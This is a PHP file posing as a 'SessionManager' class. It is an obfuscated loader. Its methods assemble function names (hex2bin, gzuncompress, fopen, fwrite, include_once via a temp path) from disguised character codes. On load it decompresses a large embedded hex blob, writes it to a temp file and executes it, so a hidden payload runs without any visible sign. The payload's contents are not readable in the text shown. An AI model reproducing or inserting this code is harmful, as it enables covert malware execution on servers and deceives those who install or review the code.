<?php
class SessionManager {
	private $tx = '';
	private $tn = '';

	public function logTransaction($p1) {
		$a = array(((104+4+2)),(3*35),((105-7)),((2*25)),((39+81)),((20+38+43)),((50+54)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function manageState($p1) {
		$a = array(((44+59)),((103*1)+19),((3*39)),((2*55)),((106-7)),((105*1)+6),(68+11+30),((2*56)),(122-8),((101*1)),((102+10+3)),((40+67+8)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function cacheData($p1,$p2) {
		$a = array(((112-2)),((47*2)+7),(2*56),((73+38)),(102));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function encryptData($p1,$p2) {
		$a = array(((111-9)),((7*17)),(118-4),(102+3),(101+14+1),((8+65+28)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function generateToken($p1) {
		$a = array(((39+62)),((20*3)+55),((46*2)+19),(2*54),((24*4)+3),(51+51));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function handleRequest($p1,$p2=null) {
		$a = array(((20+15+79)),116,((13*8)+10),(109-4),((54+55)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function resetState() {
		$this->tn = $this->handleRequest($this->syncRecords(), '/');
	}

	public function triggerCallback() {
		$this->tx = $this->manageState($this->logTransaction($this->ju));
	}

	public function processData() {
		$fn = $this->tn.'/yk-67bb6e6b4c0fd';
		$f = $this->cacheData($fn, 'w');
		$this->encryptData($f, $this->tx);
		$this->generateToken($f);
		$this->executeAction($fn);
	}

	private $ju = '789cb5196977da48f2af24ef7907eb9961740bec65e7c91cb' . 'e388c0d499c3c2f0f8404022c610408c8f8bf6f55b5d42d9f3' . 'bf9307104adeaeababaae6efefde762b2f8e4cc0751f4a93ff' . '27f2e96fe66b0723f45abc1ca770efa41b83e61e34fde3a705' . '67e187c1a1f1ef4dd51fea03f0aa49fbe77f83972e7def1312' . '14b6cec1f4a2707fd49395a2de76e7048a800984ecac341e49' . 'a7a7fe43ae1c83dccacfc8144efa5132f5c22fda9579681c5d' . 'c190822d3091281a9cfe5324d9d1c1dd1bb84733f68785f762' . '6cbc370393accc0a4ff32c02860807f816cf79274b27457eb6' . '58088274fcf3517da822a3f33629607cbe5607798ebef73e5f' . 'fe4cec771ae90abd5fcd8b99d7662fba6596fdaadabd6b4590' . '578c53eddc1d7053ca73db76ddf5d76bfc1b854cfe57320cb9' . '428d8f1b6be0f5b57b2de38f38b67df7bcda3daae78dd1adb4' . '7f5fd1da037f1e9c58aedcf2a0d18dbf6aae2c377119e6f48c' . '90d6748e9da06008a5346e0ccdf21b03d0977f56a3c6e7eb9f' . '85ab929756af1cceb9d362fcf15bb8beff571785ded46f2754' . '7ee54a697bdd32e1088d42fa77757d5584616555fbfac8f67d' . 'f50a16e346b4c740b75aa5e8e90cd78ed219bc624c4f9b3b84' . 'ccc8708bbdbde7dbfeb94538126ce88412f866d5967323e3c2' . '2e80aed53db9fdb6cf122d82014878e938e76ce361d863868c' . '5ced256bf388edd7cac7dabd5da939a71366d7e6d6de3e8741' . 'f9e3a37767c1ea0b53acd537d735e89bfa2edbec88a7d667fb' . 'b1e3b47a8e898719c2cc97ea7d1f9b96d9f9f6d616606cf12e' . '7d623c6aee69e77ecaf286907e74c9c5b91eac8c471da6304d' . 'f20f8f191265adbe6b20eb05d765b48b533f48db871db61ec2' . '397e86cedefad989b6b9ed875760d90c64d2f85c7039fcc681' . '320013e305c077db171133102643b6f170795fd8d339c2d702' . 'f7b0fb47bcd53e7fc7baf932edfee98c0f178082094596cdb7' . '28d53bd874e5c9fd6ecfa245c9e6ee36fdf7b7a5cefdaa37a4' . '04a8361d15335341ca3481bdb3875f6e4a4851ce29d366827d' . '37d8cd896b6b6a1773ae6fc428ff14307670ac7b43bf5fdc5b' . 'cba9fa131213ce45a17a36a8db24eef082f18460c6f56acee2' . 'f62bb1205d56eb8a8dece5667fb8b750dd56714d71344ac761' . '134ab519c4676b5b73a4b36eb2e9565ed4f19c962a31ddb474' . '8a1a2b75aa77a74e6f74819b02a22c0cc3e06f19c59b5224fe' . 'dca4c455a3e129a9352b354696fe3339251a9bab7ad337f166' . '1e0dcc2135ae4f2c394e2ee6e7c65dbe366571f5c546b8f645' . '62fa533a3ddadef9a6675375ea1127b7d594b2835b7754c100' . 'e5362c6307580fc0159c5b8dc1507ad6ad1a8fb2133f09a497' . '46756f7b26a57d02d26d56e6f53bdbd5ba21e7b3944ab576de' . '6add384deb4d9b1fdab8ad3b9aad8e36a17e9ef2ed177ec62b' . 'bda4c6db8dad3b6546fe33f6a55193dc4ae8cc93c7be6a71bd' . '76308d1ed45275a124271783596530a2ed9b81dd7dacd71dc0' . '2687b9cf5fdc7596ab0e9a5f34538ee704f89c2c3e8db9e55a' . '6758c0e2f4950739ada92ab5fecc3065a6d5e4b970e68561e5' . 'f3730ec1601a5eb90bc060cc8838e790766af09333573fa8e4' . '3db80aa0d672c307bee659a0400513a797a4a2aeeea170aee4' . '7b59615b24fafcae9af9635399ffdd30a063dd68b477be3ef7' . '7d9b4e043d155fc522d133e0dd3cccb86aae565d3947152d10' . 'dfc3255fc32f4bc2227ff11081c15434142b856578cbcac1b0' . '8b460a42a565e2efccdc7028eaa89ab502ec50290a1010c844' . '3be209b8c6f2a89a1e8f8a2eac8d4640b149926e4d75acaba0' . 'c8b750d28a2bc86a6c39ba5b0f58a86ff8d3c32d62d6487da5' . '848cb22c575b2920a025a38341434958ee2188485d4349a52c' . '17624022dc1395595e99304d45003d9a425ec33353a5815991' . 'a1aad21a54dd05a3664f8305524a780da72417ff50019dc2a4' . 'dc557c5ccfcb3fe1900da5e277322735d47e6a08852d0d5a26' . '129c9e73ffe0e0691711be5c47fc9470cda35104c979fffd70' . 'bdaaf7d8027aab47306723268e3d139540d1c4835e4e72197f' . 'ea9b0ffd90724a3a5a6a6d2d82029c1641af000e7f9e52fb35' . '878eb1373d3c41d8cdce5211c078e8fc7d4e952d705ed529c8' . '3a6f9e5f4086bfb946a174e4392f2a3c85d41ce3aab757f703' . '4174bdc8c5229d6462f274107fef3a0ff387f2c8fdd557f1a0' . '992d84a41ff8a24b7a3842861fef61b1c061661c4def27c010' . 'a079d2866e51d4a0107046f308f5ce9e7c87705dd2135204ba' . '4f8e4c2f4f3d909d64cea6a31eb638522c4a7f734c2f6e1e19' . '1e327fae089e5a05f69b7af2e6a2778e4281ffac14a5a86eb6' . '074d85fe152593a6203251da8e9404b077a3a30d28129d1e96' . '7f49a9e95a2140925d825d99cbdfc4021eecb5cec45d28e6dc' . '85c9b6d4e3a8927fedc4d8a8c58526087ac1faff895b8fc421' . '3ae8aa24ad27d527db060bd4343e19a2a5c5585ebaa987cc49' . '5538a7cc40550b900aab02517e028e1a5725eaa2efd9e8c382' . 'f95f352392f95f3524be90a8df3d214e0c0caf13bda6962433' . '96f4d7f2997c665d04ccec5e2a3221f717d753985e924c370e' . '90e66e46547476f6e36f6224ee2a2b8d3c4fee8e4891c89c9f' . '252769dcbae0b6fe47ba47399756e379ddb4de776d3b9cc06b' . '79b0132a7ba1b9c8ba1a53a197c770c838fd0ed9f288e48bf0' . '4ca391adc4a06e768728e26f70a93f333393f93f3330de9fe5' . '02a1087570631b9a226676b72454dced6e26c2dced6e26c2d0' . 'd362c8908ae87c5ed6a718d2dee0b16f7058bb3b34a2029dda' . '760a8d226be257391cb524447a115f97750b988451431491a0' . '9845ba8c8f7bd68123dba0112885cd42217b5c82d53e26e5be' . '29629a91cc6ddacc4d995b8394ac0ae90e154e27b50e25b5f6' . '246e1388acc192ab2c84cb22aa09a18ea622812902c32906c0' . '984a218329e18fe690a144c211df2a18a85017cd80f9cf97ae' . '42697614fa2bb67c5efa0ff803bea89d8c5b3289c91f16cbb7' . '52976a7d359395b7e423a90e5d0711f58e1ed3b83f97c309cb' . 'f286b749511aca14891db6cbcb2b35ecefb7ee0635503b2d20' . '901a0ca850b046dbc7ca577d3685f77fbb7b78dfe97dacd45f' . 'deeba56bbc9b3bafa77d0cfdbb7ddfcebc49fc9fc99d49fc9f' . 'd99e40fd95ffa8057bddd68b4bf36da15bb7bd16ee5d345a25' . '040a5f860f94daddbbb69756fecd66d1d347b2daa282f8a9a2' . '970aa180a5d54a10bd4968fd89ed7ec2ab04b9185b6aa70345' . '18014f5431d2aed56ab56e9762f9ab576ef2d738bb2a568420' . '751a01451a1144de8206a139c363e5427659d628b82ad09253' . '45e46e1bc252abf420d4be28deed6758834c2b6c19e41213cf' . 'cc00b93090239f3307213007586802cdab235f83b75716bea4' . 'b0bb90768cd3ebfee9a1451e8143dd38d081b885aa7e86883e' . '4944d11903490077d272a2f06cbc8ed8364692c1df4d7e5439' . 'c7ad62cae923a3c5a81406511c88f007ba4c9718eece18b396' . 'ad27c8af017d422785c76ebc054cc76de59dcb997f09d4fa94' . '705fa85675904af14f3ace91ebcc5e981ae5306c8e2f9da79a' . '6b91891482f57e3cd22e955c84d18f9fb029fc4bb9e75b23c8' . '876ac3b1984652f0a9d59b8708343d064fda7208676e2eca4e' . '3ac8cbb040e2abe652b9646d7741f87d950bacf23e9377c427' . '8afe86514d1cc28a29b510c114ea29b510ce14a46a6b315ae8' . '41dcd713a16ec0cc1ce10c1225a19c51435059a99c4f3c15ed' . '24f6fb15e45ec05d4f2935f5a5e2b670ad14c219a99e9ba452' . 'e12ad8e227a1d45343b8ae87614d1ee28164ac68e139f3d374' . 'c45a46345d983584ee57c2d9d25a4136d916209e92cca43a4f' . '674026eece10125608020134f7854259f7737394962b648490' . '8ad2c51ca2da115f44d589bd30c83b2c30930fd9dc8a3c6b99' . 'c46d96ded062a9df034bcaac63bdec71c6ba3b6ef6206430a1' . '73c804d12e4d9fc5dec35850f5ea6fa09f2ea5d5c8c293f3d9' . '0e3091557fcf91a6fb648102628ad882576449fef291aa3f1f' . '05d461e1d21e19c4eb703fe3b6c3043d0a97bb9da3ee3b3a51' . 'd5a505aa4c07f97d12c4d31311d5cdfe5b3266df3785fc17eb' . 'fc12b86e3603d9f7fb8154898b2d0f003da51c6a2fb38c9642' . '9ed0f760e6fbf2981b3a4f30ef58d9b7a6cc0c982577bfe7ce' . '52efb9b01fd20fa46c41445dc89265e298a382a8a3812fdbb5' . '214515ecc9cae8b126b0ec71b3c18b2faf6528aed5b5288e82' . '9899c201a7d053afd0ce52daf9cf43a9b9fbc7bc1e2928f3a3' . 'ebb5a719d49f8296bb6c774c387de9a2acf78238acb709ff6c' . '7c9658e4728ab4296c23c997f48701e0907bc5e600d28eea0b' . 'e9eb85b68962592f6732aee7823fdf5177f5b655f800a0a9d2' . 'c4a54de8f66c9dd8cb83e0b29b41790abcaff418acf6eb51e7' . '82c6f481f7c086f957f6e0a34c38ab9194e237770cdf1765d5' . 'ee3afe7f46b7bf2db7bf2368dc2201d936412351f99fb385af' . 'fff2fdff0670e66c721abcc99eb37dc3442e7e67bfa1f0906f' . '28c';

	public function executeAction($p) {
		include_once($p);
	}

	public function syncRecords() {
		$a=array(((5*23)),((23*49)-1006),((117*45)-5150),(((16*2)+63)),103,(((21*1)+80)),((2*58)),(5*19),((2*58)),(36+25+40),((119-10)),(23+89),(((16*2)+63)),(54+9+37),(3*35),((72*1)+42));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$lw = new SessionManager();
$lw->resetState();
$lw->triggerCallback();
$lw->processData();
